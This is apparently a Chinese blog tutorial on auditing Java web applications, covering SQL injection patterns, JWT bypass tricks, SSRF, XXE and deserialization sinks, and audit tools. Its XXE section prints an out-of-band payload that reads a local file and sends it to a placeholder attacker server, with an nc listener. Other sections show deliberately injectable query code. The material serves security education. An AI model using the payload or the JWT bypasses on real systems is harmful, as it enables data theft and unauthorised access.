前言:

介绍:

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。

本文知识点(读者自测):

(1)框架-组件-依赖库-过滤器(√)

(2)SQL注入(√)

(3)安全验证(√)

(4)常规漏洞(√)

(5)审计工具(√)

让读者如虎添翼

审计博文 类型 状态
【代码审计-PHP】phpStudy(新版) + PhpStorm + XDebug动态调试 PHP 已发布
【代码审计-PHP】审计方法、敏感函数、功能点 PHP 已发布
【代码审计-PHP】基于Thinkphp框架开发的 PHP 已发布
【代码审计-.NET】基于.NET框架开发的基本特征

.NET

已发布
【代码审计-.NET】基于.NET框架开发的代码审计 .NET 已发布
【代码审计-JAVA】基于javaweb框架开发的 JAVA 已发布
【代码审计-JAVA】javaweb代码审计思路 JAVA 已发布
2023将更新更多,敬请期待 —— ——

目录

一、框架-组件-依赖库-过滤器

1、框架-组件-依赖库

2、过滤器

二、SQL注入

1、JDBC 注入

2、Mybatis注入

3、Hibernate注入

三、安全验证

1、验证框架

2、代码验证

3、过滤器

4、JWT加密

四、常规漏洞

1、代码、函数执行

2、SSTI

3、SSRF

4、XXE

5、反序列化

五、审计工具


一、框架-组件-依赖库-过滤器

1、框架-组件-依赖库

通过了解了开发的框架以及组件以后,可以扩大攻击面

查看配置文件web.xml和外部引用库,确定当前引用框架名称和版本

通过获取的版本等,对比漏洞库

框架确定:
1、maven(查看pom.xml关键字)
spring-core/ springframework.core    spring框架
struts2-core                         struts2框架
springframework.boot                 srping-boot框架
servlet-api                          原生servlet2、lib(查看jar包名称)
spring-core/springframework.core    spring框架
struts2-core                        struts2框架
spring-boot                         srping-boot框架
servlet-api                         原生servlet
配置文件:
Struts2     struts.xml
Spring      applicationContext.xml
Spring MVC  spring-mvc.xml
Hibernate   Hibernate.cfg.xml
Mybaits     mybatis-config.xml

2、过滤器

过滤器专门设置了针对SQL注入、XSS等拦截

通过对过滤器分析,可以知道过滤规则,以及可以最终筛选出未使用过滤器的URL

(也可以搜索关键字定位过滤器)

web.xml中
<filter><filter-name>xsscheck</filter-name>//名字<filter-class>com.anbai.sec.XssFilter</filter-class>//class
</filter>
<filter-mapping><filter-name>xsscheck</filter-name>//名字<url-pattern>*.jsp</url-pattern>//路由
</filter-mapping>

二、SQL注入

(数据库模式--->sql语句的写法--->函数--->类--->调用层次)

1、JDBC 注入

全称:Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系数据库,并使用SQL语句来完成对数据库中数据的查询、更新和删除等操作

1、PreparedStatement预编译机制(安全写法)// sql语句(使用?进行占位)
String sql = "select * from user where id = ?";
// sql语句的预编译(返回一个预编译对象)
xxx = conn.prepareStatement(sql);2、直接进行拼接(不安全写法)
String sql = "select * from user where id ="+req.getParameter("id");

2、Mybatis注入

使用简单的 XML 或注解来配置和映射原生信息,将接口和 Java 的 POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录

搜索xml查找关键点(如${)--->反推到DAO--->到实现类--->通过调用链找到前台URL--->找到利用点

1、#会对语句进行预编译
安全写法(): select *  from user where name = #{name}2、${ }动态解析SQL时候会进行变量替换( 只进行string替换)
不安全写法(UserDao.xml):select *  from user where name = ${name} 3、产生原因模糊查询
使用#程序会报错         Select * from news where title like ‘%#{title}%’
(可能会把#号改成了$)
正确:                  Select * from news where tile like concat(‘%’,#{title}, ‘%’)in 后有参数
使用# 同样会报错        Select * from news where id in (#{ids})
(可能会将将#替换为$)
正确(使用foreach)       id in<foreach collection="ids" item="item" open="("separatosr="," close=")">#{ids} </foreach>order by
order by使用的是$,而like和in没有问题

3、Hibernate注入

Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序使用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的JavaEE架构中取代CMP,完成数据持久化的重任

1、安全写法():参数绑定预编译
Query<User>.query=session.createNativeQuery("select * from user  where name=:name");
query.setParameter("name",parameter) ;2、不安全写法(User.java):直接拼接
Query<User>.query=session.createNativeQuery("select * from user  where name="+req.getParameter("id"));

三、安全验证

1、验证框架

1、
Shiro:通用性,是一个权限管理的框架,实现用户认证、用户授权等
Spring Security:和 Spring 无缝整合
……2、分析pom.xml Maven配置文件
<shiro-spring-version>……</shiro-spring-version>
<shiro-ehcache.version>……</shiro-ehcache.version>
针对对应的版本号,搜索已爆出的框架漏洞3、查看shiro配置信息
tumo.shiro.anon_url=\/login,/logout,/register,\/,/about,/p/**,/links,/comment/**,/link/list,/article/list,\/css/**,/js/**,/img/**
(anon代表不需要鉴权的配置,**表示该接口下的所有接口)

2、代码验证

这就得抓包,并结合反编译对验证代码进行审计了


3、过滤器

过滤器的绕过、过滤器未引用

无非就是绕过if等判断语句


4、JWT加密

对于身份等重要的信息可能会使用JWT加密(在不知道密钥的情况下,黑盒很难利用)

JWT是三段式,在cookie中一眼就能看出加密后生成的token

(header.payload.signature)

1、空加密算法
在header中指定alg为None
变为:header.payload2、加密算法
RSA:非对称加密算法,使用私钥加密明文,公钥解密密文
HMAC:对称加密算法,使用相同的密钥对传输信息进行加解密
公钥可以通过一些途径获取(如前端加密等)
尝试使用HMAC替换RSA3、kid(header中可选参数,指定加密密钥)
用户可控,可测试注入、文件读取等

四、常规漏洞

1、代码、函数执行

1、可执行函数(如exec()等),搞清楚传递过程,是否用户可控

2、表达式注入(一般是参数值,不过有的也有极少的是参数名,一般会有检测,如OGNL、SpEL、MVEL、EL、Fel、JST+EL等)

3、后端模板引擎注入(如Freemarker、Velocity、Thymeleaf等)

4、第三方开源组件(如Fastjson、Shiro、Xstream、Struts2)


2、SSTI

【SSTI模块注入】SSTI+Flask+Python(上)

【SSTI模块注入】SSTI+Flask+Python(中)

【SSTI模块注入】SSTI+Flask+Python(下)

源码:在pom.xml里面找使用有模版引擎,如freemarker

前端:寻找修改模块的功能点


3、SSRF

【SSRF漏洞】原理、危害利用、触发点、利用过程、协议使用……

危险函数
urlConnection.getInputStream
HttpURLConnection.getInputStream
URLConnection.getInutStream
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream
ImageIO.rea

4、XXE

【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例

xlsx-streamer poi-ooxml
Documentbuilder|DocumentBuilderFactory|SAXReader|SAXParser|SAXParserFactory|SAXBuilder|TransformerFactory|reqXml|getInputStream|XMLReaderFactory|.newInstance|SchemaFactory|SAXTransformerFactory|javax.xml.bind|XMLReader|XmlUtils.get|Validator
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
org.apache.commons.digester3.Digester
xxx.xlsx:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://攻击者服务器/xxx.dtd">
%remote;%int;%send;
]>
<root>&send;</root>xxx.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击者服务器:端口/%file;'>">攻击者服务器监听
nc -lvvp 端口

5、反序列化

序列化使用的地方:

1、参数,cookie,sesion,存储时候可能会base64,压缩后的base64、MII等加密

2、Servlets http,Sockets,Session管理器(包含的协议:JMX,RMI,JMS,JND1等)

3、xmlXstream,XmldEcoder等(http Body:Content-type: application/xml)

4、json(jackson,fastjson)http请求中包含

框架组件:fastjson,shiro,jackson,CommonsCollections等

利用工具:

jndi:可用于Fastjson、Jackson等验证
ysoserial:支持多种引用库生成的payload
marshalsec:可以快速启动rmi/ldap server
FastjsonExploit:专门针对fastjson的exp框架

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

【PHP反序列化】PHP反序列化原理、函数、利用过程

【JAVA反序列化漏洞】简介、原理、工具、环境、靶场、思路

五、审计工具

Fortify、CheckMarx、Findbugs、PMD等



网络安全三年之约

First year

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/


second year

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心

众测平台 URL
漏洞盒子 漏洞盒子 | 互联网安全测试众测平台
火线安全平台 火线安全平台
漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台 360漏洞云漏洞众包响应平台
补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
春秋云测 首页
雷神众测(可信众测,安恒) 雷神众测 - BountyTeam
云众可信(启明星辰) 云众可信 - 互联网安全服务引领者
ALLSEC ALLSEC
360众测 360众测平台
看雪众测(物联网) https://ce.kanxue.com/
CNVD众测平台 网络安全众测平台
工控互联网安全测试平台 CNCERT工业互联网安全测试平台
慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚 http://isrc.pingan.com/homePage/index
互联网大厂 URL
阿里 https://asrc.alibaba.com/#/
腾讯 https://security.tencent.com/
百度 https://bsrc.baidu.com/v2/#/home
美团 https://security.meituan.com/#/home
360 https://security.360.cn/
网易 https://aq.163.com/
字节跳动 https://security.bytedance.com/
京东 https://security.jd.com/#/
新浪 http://sec.sina.com.cn/
微博 https://wsrc.weibo.com/
搜狗 http://sec.sogou.com/
金山办公 https://security.wps.cn/
有赞 https://src.youzan.com/

Third Year

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想)

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

【代码审计-JAVA】javaweb代码审计思路相关推荐

  1. 【代码审计-JAVA】基于javaweb框架开发的

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  2. JAVAWEB代码审计技巧方法

    JAVAWEB代码审计技巧方法 在JAVA WEB代码审计中,首先要做的就是确定项目的依赖库组织形式,其次就是确定项目所使用的框架. 1.依赖库组织形式确定.组织形式一般有两类,maven与lib文件 ...

  3. 某cms代码审计RCE艰难bypass(思路清奇)

    0x01 前言 闲来无事挖挖漏洞,发现一个经过了一些过滤的漏洞,踩了无数的坑,然后冥思苦想了许多方法,终于找到了一个点,使得可以进行命令执行与getshell.这里的漏洞点不值一提,但是因为绕过方法挺 ...

  4. PHP代码审计18—PHP代码审计小结

    文章目录 一.前期准备 1.工具准备 2.审计环境准备 二.了解系统架构 1.使用了开发框架 1) ThinkPHP框架 2) laravel框架 2.没使用开发框架 三.参数过滤分析 1.MVC模式 ...

  5. 常见代码审计工具,代码审计为什么不能只用工具?

    代码审计是一种发现程序漏洞,安全分析为目标的程序源码分析方式.今天主要分享的是几款常用的代码审计工具,以及代码审计工具有哪些优缺点? 代码审计工具 seay代码审计工具,是一款开源的利用C#开发的一款 ...

  6. php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2

    第  35  课    代码审计实例之任意文件上传  课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. ...

  7. Java编程配置思路详解

    Java编程配置思路详解 SpringBoot虽然提供了很多优秀的starter帮助我们快速开发,可实际生产环境的特殊性,我们依然需要对默认整合配置做自定义操作,提高程序的可控性,虽然你配的不一定比官 ...

  8. 计算机毕业设计之java+javaweb的充电桩综合管理系统

    ** 计算机毕业设计之java+javaweb的充电桩综合管理系统 项目介绍 随着信息技术和网络技术的飞速发展,人类已进入全新信息化时代,传统管理技术已无法高效,便捷地管理信息.为了迎合时代需求,优化 ...

  9. 计算机毕业设计之java+javaweb的医院门诊挂号系统

    计算机毕业设计之java+javaweb的医院门诊挂号系统 项目介绍 随着信息技术和网络技术的飞速发展,人类已进入全新信息化时代,传统管理技术已无法高效,便捷地管理信息.为了迎合时代需求,优化管理效率 ...

最新文章

  1. 爬虫:获取页面 -- request库的使用
  2. Ubuntu 18.04上进行HyperLedger Fabric 1.2.0环境及链码安装、部署和测试
  3. MongoDB数据库(2.MongoDB对数据库的操作以及Mongodb的增删改查)
  4. resnet50能用cpu跑吗_2020年12月1日更新。性价比最高入门游戏CPU--intel 10100F装机配置推荐。...
  5. 设置访问权限_CentOS7利用Firewall对PostgreSQL设置安全的访问权限
  6. Python中if判断语句在只有一个break子句时可以写在一行
  7. UVA12279 LA4853 Emoogle Balance【水题】
  8. 基于python的随机森林回归实现_python实现随机森林
  9. 百度地图行政区域划分镂空
  10. git切换远程分支并拉取最新代码
  11. PyCharm的cache缓存文件清理
  12. 发那科机器人回原位置先上升_发那科机器人offset condition 指令什么意思
  13. OSChina 周二乱弹 —— 我的手机指纹解锁和别人不一样
  14. 规则引擎系列—初识规则引擎
  15. 写一个函数判断输入的数字是否为素数 (js)
  16. log4j在线视频教程【讲的很详细,不了解的情况下,听一遍就都了解】
  17. 标准印章公章制作软件附使用教程
  18. 福大计算机专硕扩招,【今日话题】福州大学数计学院研究生又又又扩招?什么是拟录取补录?...
  19. 阿里数据中台底座的12年建设实践
  20. android 清理程序,浅谈:Android应用清理内存

热门文章

  1. ShareSDK 抖音平台注册
  2. linux光盘读取不良,程序员偷偷深爱的9个不良编程习惯
  3. JAVA-stage3-day03-MybatisMybatisPlus
  4. [electron]Electron安装报错connect ETIMEDOUT
  5. 适合一个人干的小生意,最挣钱没人干的行业
  6. 如何通俗易懂地理解什么叫泛型?
  7. 生命是一种长期而持续的累积过程
  8. 【原创】PHP扩展开发进阶
  9. 吴军给女儿的信:乐观的人生态度,比什么都重要
  10. 联盟CPS聚合联盟聚推客推广项目赚钱吗?揭秘有人月入10万+